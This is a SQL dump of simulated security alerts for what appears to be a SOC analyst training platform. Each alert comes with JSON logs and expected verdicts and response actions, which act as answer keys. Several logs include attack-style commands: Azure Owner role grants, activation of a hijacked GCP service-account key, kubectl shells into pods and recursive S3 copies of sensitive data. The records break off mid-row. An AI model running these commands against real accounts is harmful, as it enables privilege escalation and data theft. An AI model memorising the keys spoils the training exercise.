(1970, 'Legacy Application Misconfiguration Detected', 'medium', 'Suricata', 'Unexpected outbound traffic from a legacy application server to an external IP address. Initially flagged as C2 beaconing.', 'C2 Beaconing', 'T1105', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.3.10\",\"dst_ip\":\"203.0.113.200\",\"username\":\"legacy_app\",\"hostname\":\"legacy-app01\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.3.10\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP assigned to legacy application server\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"203.0.113.200\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP reported 5 times for unusual traffic patterns\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"The traffic is due to a misconfigured application attempting to update from a deprecated service.\"}', 'Intermediate', 'NDR', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1971, 'False Positive: Authorized System Health Check', 'low', 'Wireshark', 'Regular system health check traffic detected from a monitoring system. Initially interpreted as potential lateral movement.', 'Lateral Movement', 'T1087', 0, 'New', NULL, '{\"timestamp\":\"2026-03-16T07:30:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.4.25\",\"dst_ip\":\"192.168.4.30\",\"username\":\"monitor\",\"hostname\":\"monitoring01\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.4.25\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP assigned to authorized monitoring system\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.4.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP is a monitored internal system\"}}],\"expected_actions\":[\"close_alert\"],\"expected_verdict\":\"false_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"This is expected traffic and part of the scheduled system health checks.\"}', 'Intermediate', 'NDR', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1972, 'Unauthorized C2 Beaconing Detected', 'high', 'Darktrace', 'Detected external communication with a known malicious IP. Traffic patterns suggest C2 beaconing from an internal host.', 'C2 Beaconing', 'T1105', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:00:00Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.168.5.15\",\"dst_ip\":\"198.51.100.20\",\"username\":\"unknown_user\",\"hostname\":\"workstation-15\"}', '2026-03-16 03:10:34', '2026-03-16 03:10:34', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.5.15\",\"is_critical\":false,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"IP belongs to an internal workstation\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"198.51.100.20\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 120 times for C2 activities\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"c2_beaconing\",\"analysis_notes\":\"The communication with a known malicious IP indicates likely C2 beaconing activity.\"}', 'Intermediate', 'NDR', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1973, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Unauthorized access to an S3 bucket was detected from an external IP. Data exfiltration is suspected.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"192.168.1.10\",\"username\":\"unknown\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /my-sensitive-bucket\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1023 times for unauthorized access\"}},{\"id\":\"artifact_2\",\"type\":\"url\",\"value\":\"s3.amazonaws.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Frequent target for unauthorized data access\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /my-sensitive-bucket\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Data exfiltration attempt via S3 API\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The access pattern and external IP indicate a deliberate data exfiltration attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1974, 'Azure IAM Privilege Escalation Alert', 'high', 'Azure Defender', 'Suspicious privilege escalation detected. An internal account was granted admin rights unexpectedly.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T12:30:00Z\",\"event_type\":\"login_success\",\"src_ip\":\"10.0.0.45\",\"dst_ip\":\"10.0.0.5\",\"username\":\"john.doe@company.com\",\"hostname\":\"azure-portal\",\"request_body\":\"\",\"command_line\":\"az role assignment create --assignee john.doe@company.com --role contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"10.0.0.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"john.doe@company.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual role assignment detected\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee john.doe@company.com --role contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Privilege escalation attempt\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The privilege escalation was unauthorized and aligns with known attack patterns.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1975, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'Detected unauthorized token access to a GCP service account. Potential hijacking attempt.', 'Credential Attack', 'T1550', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:00Z\",\"event_type\":\"token_use\",\"src_ip\":\"203.0.113.50\",\"dst_ip\":\"10.1.1.2\",\"username\":\"service-account@project-id.iam.gserviceaccount.com\",\"hostname\":\"gcp.googleapis.com\",\"request_body\":\"\",\"command_line\":\"gcloud auth activate-service-account --key-file=key.json\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.50\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP associated with multiple hijacking attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account@project-id.iam.gserviceaccount.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Anomalous access pattern detected\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file=key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Unauthorized use of service account credentials\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The use of an unauthorized token indicates a hijacking attempt.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1976, 'Prisma Cloud: Kubernetes Privilege Escalation', 'high', 'Prisma Cloud', 'Detected privilege escalation activity within a Kubernetes cluster. Unauthorized admin access detected.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:50:00Z\",\"event_type\":\"process_execution\",\"src_ip\":\"172.16.0.8\",\"dst_ip\":\"172.16.0.10\",\"username\":\"k8s-admin\",\"hostname\":\"kubernetes-cluster\",\"request_body\":\"\",\"command_line\":\"kubectl exec -it pod -- /bin/sh\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"172.16.0.8\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP address\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"k8s-admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unexpected admin access detected\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"kubectl exec -it pod -- /bin/sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Potential privilege escalation within Kubernetes\"}}],\"expected_actions\":[\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"The escalation of privileges within the Kubernetes cluster suggests lateral movement.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1977, 'Wiz: Unauthorized API Access Detected', 'medium', 'Wiz', 'Suspicious API requests detected from an unrecognized IP address indicating possible unauthorized access.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:25:00Z\",\"event_type\":\"web_request\",\"src_ip\":\"192.0.2.25\",\"dst_ip\":\"10.2.3.4\",\"username\":\"api-user\",\"hostname\":\"api.example.com\",\"request_body\":\"POST /v1/data HTTP/1.1\",\"command_line\":\"\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.25\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"suspicious\",\"details\":\"IP involved in unauthorized API access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"api-user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Unusual API access pattern detected\"}},{\"id\":\"artifact_3\",\"type\":\"url\",\"value\":\"api.example.com\",\"is_critical\":true,\"osint_result\":{\"source\":\"URLScan\",\"verdict\":\"suspicious\",\"details\":\"Frequent target for unauthorized data access\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The unauthorized API requests from a suspicious IP indicate a credential attack.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1978, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'A large amount of data was exfiltrated from an S3 bucket to an unknown IP address. This indicates a potential data leak.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:35:23Z\",\"event_type\":\"s3_data_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.25\",\"username\":\"compromised_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive_data.zip HTTP/1.1\",\"command_line\":\"aws s3 cp s3://mybucket/sensitive_data.zip .\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 847 times for data exfiltration activities\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Security Database\",\"verdict\":\"internal\",\"details\":\"User account is part of the finance department\"}},{\"id\":\"artifact_3\",\"type\":\"payload\",\"value\":\"GET /sensitive_data.zip HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Indicates potential unauthorized data access\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"Data was accessed and transferred to an external IP without authorization, indicating a data leak.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1979, 'Azure IAM Privilege Escalation Detected', 'high', 'Azure Defender', 'An unauthorized user gained admin privileges on Azure IAM, which could allow them to execute further attacks.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:15:45Z\",\"event_type\":\"privilege_escalation\",\"src_ip\":\"198.51.100.32\",\"dst_ip\":\"10.0.0.5\",\"username\":\"attacker_user\",\"hostname\":\"azure.portal.com\",\"command_line\":\"az role assignment create --assignee attacker_user --role \'Owner\'\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.32\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP involved in multiple privilege escalation incidents\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"attacker_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal User Database\",\"verdict\":\"internal\",\"details\":\"User exists but should not have admin privileges\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee attacker_user --role \'Owner\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used to escalate privileges in Azure\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Unauthorized privilege escalation detected; immediate action required to prevent further malicious activity.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1980, 'GCP Service Account Hijacking', 'critical', 'GCP SCC', 'Anomalous activity detected from a GCP service account indicating potential hijacking.', 'Account Compromise', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:20:30Z\",\"event_type\":\"service_account_usage\",\"src_ip\":\"203.0.113.78\",\"dst_ip\":\"10.2.0.15\",\"username\":\"service-account-123\",\"hostname\":\"cloud.google.com\",\"command_line\":\"gcloud auth activate-service-account --key-file=/tmp/key.json\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"IP associated with unauthorized service account access\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"service-account-123\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal GCP Audit\",\"verdict\":\"internal\",\"details\":\"Service account with unexpected activity\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file=/tmp/key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Command used for unauthorized activation of service account\"}}],\"expected_actions\":[\"reset_credentials\",\"block_ip\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"account_compromise\",\"analysis_notes\":\"Service account showing signs of compromise; potentially linked to unauthorized access and actions.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1981, 'Prisma Cloud Detects Suspicious Kubernetes Activity', 'high', 'Prisma Cloud', 'Unusual Kubernetes API requests detected suggesting potential compromise of the cluster.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:45:12Z\",\"event_type\":\"k8s_api_request\",\"src_ip\":\"192.168.2.15\",\"dst_ip\":\"10.0.0.20\",\"username\":\"k8s-admin\",\"hostname\":\"k8s.cluster.local\",\"command_line\":\"kubectl exec -it pod-name -- /bin/sh\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.168.2.15\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal Network Monitoring\",\"verdict\":\"internal\",\"details\":\"Internal IP involved in Kubernetes API access\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"k8s-admin\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal LDAP\",\"verdict\":\"internal\",\"details\":\"Admin account with suspicious activity\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"kubectl exec -it pod-name -- /bin/sh\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"suspicious\",\"details\":\"Command indicates potential lateral movement within the cluster\"}}],\"expected_actions\":[\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Suspicious execution in the Kubernetes environment suggests potential for lateral movement.\"}', 'Intermediate', 'CLOUD', 5, 1, 'GOVERNMENT', NULL, NULL, NULL, 0),
(1982, 'Wiz Detects Unusual Serverless Function Execution', 'medium', 'Wiz', 'A serverless function was executed with unexpected parameters, indicating potential misuse.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:50:10Z\",\"event_type\":\"function_execution\",\"src_ip\":\"203.0.113.99\",\"dst_ip\":\"172.16.0.10\",\"username\":\"lambda_user\",\"hostname\":\"aws.lambda\",\"command_line\":\"node index.js --input=\'malicious_payload\'\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.99\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP flagged for executing serverless functions with malicious intent\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"node index.js --input=\'malicious_payload\'\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Command execution with suspicious parameters\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"Unexpected parameters indicate a potential misuse of serverless functions.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0),
(1983, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'An unauthorized access to an S3 bucket was detected from an external IP. Sensitive data may have been exfiltrated.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T08:45:12Z\",\"event_type\":\"web_request\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"10.0.0.5\",\"username\":\"unauthorized_user\",\"hostname\":\"s3.amazonaws.com\",\"request_body\":\"GET /sensitive-data HTTP/1.1\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 1247 times for unauthorized access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"payload\",\"value\":\"GET /sensitive-data HTTP/1.1\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected unauthorized data request to S3 bucket\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.0.5\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"S3 bucket internal IP address\"}}],\"expected_actions\":[\"block_ip\",\"collect_forensics\",\"reset_credentials\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"data_exfiltration\",\"analysis_notes\":\"The unauthorized access and data exfiltration attempt from an external IP confirms this as a true positive attack.\"}', 'Intermediate', 'CLOUD', 5, 1, 'FINANCE', NULL, NULL, NULL, 0),
(1984, 'Azure IAM Privilege Escalation', 'high', 'Azure Defender', 'An IAM user was granted elevated privileges without proper authorization. Potential for unauthorized access to critical resources.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T09:30:27Z\",\"event_type\":\"login_success\",\"src_ip\":\"192.168.1.100\",\"dst_ip\":\"52.174.112.10\",\"username\":\"elevated_user\",\"hostname\":\"azure.microsoft.com\",\"command_line\":\"az role assignment create --assignee elevated_user --role Contributor\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"username\",\"value\":\"elevated_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"User account within the organization\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"192.168.1.100\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of the accessing machine\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"az role assignment create --assignee elevated_user --role Contributor\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected unauthorized privilege escalation command\"}}],\"expected_actions\":[\"reset_credentials\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"Unauthorized role assignment indicates potential privilege escalation, confirming a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'TECH', NULL, NULL, NULL, 0),
(1985, 'GCP Service Account Hijacking Attempt', 'critical', 'GCP SCC', 'Suspicious activity detected involving a GCP service account attempting to access unauthorized resources.', 'Credential Attack', 'T1078', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T11:15:43Z\",\"event_type\":\"login_attempt\",\"src_ip\":\"198.51.100.23\",\"dst_ip\":\"35.196.90.23\",\"username\":\"compromised_service_account\",\"hostname\":\"gcp.google.com\",\"command_line\":\"gcloud auth activate-service-account --key-file /path/to/key.json\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.23\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous credential stuffing attacks\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_service_account\",\"is_critical\":true,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Service account within the organization\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"gcloud auth activate-service-account --key-file /path/to/key.json\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected unauthorized service account activation\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"credential_attack\",\"analysis_notes\":\"The attempt to hijack a service account with unauthorized access confirms this as a true positive credential attack.\"}', 'Intermediate', 'CLOUD', 5, 1, 'ENERGY', NULL, NULL, NULL, 0),
(1986, 'Prisma Cloud Detected Unauthorized Kubernetes Access', 'high', 'Prisma Cloud', 'Unauthorized access to Kubernetes cluster detected from external IP address. Potential risk of container compromise.', 'Lateral Movement', 'T1570', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T13:00:05Z\",\"event_type\":\"network_connection\",\"src_ip\":\"192.0.2.56\",\"dst_ip\":\"10.0.1.20\",\"username\":\"kube_admin\",\"hostname\":\"kubernetes.local\",\"command_line\":\"kubectl get pods --all-namespaces\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"192.0.2.56\",\"is_critical\":true,\"osint_result\":{\"source\":\"VirusTotal\",\"verdict\":\"malicious\",\"details\":\"IP flagged for suspicious Kubernetes access attempts\"}},{\"id\":\"artifact_2\",\"type\":\"ip\",\"value\":\"10.0.1.20\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Kubernetes cluster internal IP address\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"kubectl get pods --all-namespaces\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected unauthorized Kubernetes command execution\"}}],\"expected_actions\":[\"block_ip\",\"isolate_host\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"lateral_movement\",\"analysis_notes\":\"Unauthorized command execution on Kubernetes cluster indicates a potential lateral movement attempt, confirming a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'HEALTHCARE', NULL, NULL, NULL, 0),
(1987, 'Wiz Detected Serverless Function Misuse', 'medium', 'Wiz', 'Suspicious execution of serverless function detected, possibly indicating misuse for unauthorized data processing.', 'Execution', 'T1059', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T14:22:19Z\",\"event_type\":\"process_execution\",\"src_ip\":\"198.51.100.78\",\"dst_ip\":\"10.0.2.30\",\"username\":\"lambda_user\",\"hostname\":\"aws.lambda.com\",\"command_line\":\"node malicious_script.js\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"198.51.100.78\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP involved in previous unauthorized script executions\"}},{\"id\":\"artifact_2\",\"type\":\"command\",\"value\":\"node malicious_script.js\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid Analysis\",\"verdict\":\"malicious\",\"details\":\"Detected execution of a known malicious script\"}},{\"id\":\"artifact_3\",\"type\":\"ip\",\"value\":\"10.0.2.30\",\"is_critical\":false,\"osint_result\":{\"source\":\"Internal\",\"verdict\":\"internal\",\"details\":\"Internal IP address of serverless function\"}}],\"expected_actions\":[\"block_ip\",\"reset_credentials\",\"collect_forensics\"],\"expected_verdict\":\"true_positive\",\"expected_category\":\"execution\",\"analysis_notes\":\"The execution of a known malicious script on a serverless function indicates potential misuse, confirming a true positive.\"}', 'Intermediate', 'CLOUD', 5, 1, 'RETAIL', NULL, NULL, NULL, 0);
INSERT INTO `alerts` (`id`, `title`, `severity`, `source`, `details`, `alert_type`, `mitre_technique`, `real_world_example`, `status`, `assigned_to`, `raw_log`, `created_at`, `updated_at`, `playbook_solution`, `difficulty`, `path_code`, `min_level`, `is_ai_generated`, `sector_code`, `created_by`, `organization_id`, `simulation_data`, `is_archived`) VALUES
(1988, 'AWS S3 Bucket Data Leak Detected', 'critical', 'AWS GuardDuty', 'Suspicious activity detected on an S3 bucket. Data exfiltration attempt using compromised credentials.', 'Data Exfil', 'T1537', 1, 'New', NULL, '{\"timestamp\":\"2026-03-16T10:45:00Z\",\"event_type\":\"data_access\",\"src_ip\":\"203.0.113.45\",\"dst_ip\":\"192.168.1.10\",\"username\":\"compromised_user\",\"hostname\":\"aws-s3-bucket\",\"request_body\":\"GET /sensitive-data/\",\"command_line\":\"aws s3 cp s3://sensitive-data /local/ --recursive\"}', '2026-03-16 03:13:19', '2026-03-16 03:13:19', '{\"playbook_version\":2,\"artifacts\":[{\"id\":\"artifact_1\",\"type\":\"ip\",\"value\":\"203.0.113.45\",\"is_critical\":true,\"osint_result\":{\"source\":\"AbuseIPDB\",\"verdict\":\"malicious\",\"details\":\"IP reported 120 times for data exfiltration attempts\"}},{\"id\":\"artifact_2\",\"type\":\"username\",\"value\":\"compromised_user\",\"is_critical\":true,\"osint_result\":{\"source\":\"Pattern Analysis\",\"verdict\":\"internal\",\"details\":\"Username associated with multiple unauthorized access attempts\"}},{\"id\":\"artifact_3\",\"type\":\"command\",\"value\":\"aws s3 cp s3://sensitive-data /local/ --recursive\",\"is_critical\":true,\"osint_result\":{\"source\":\"Hybrid 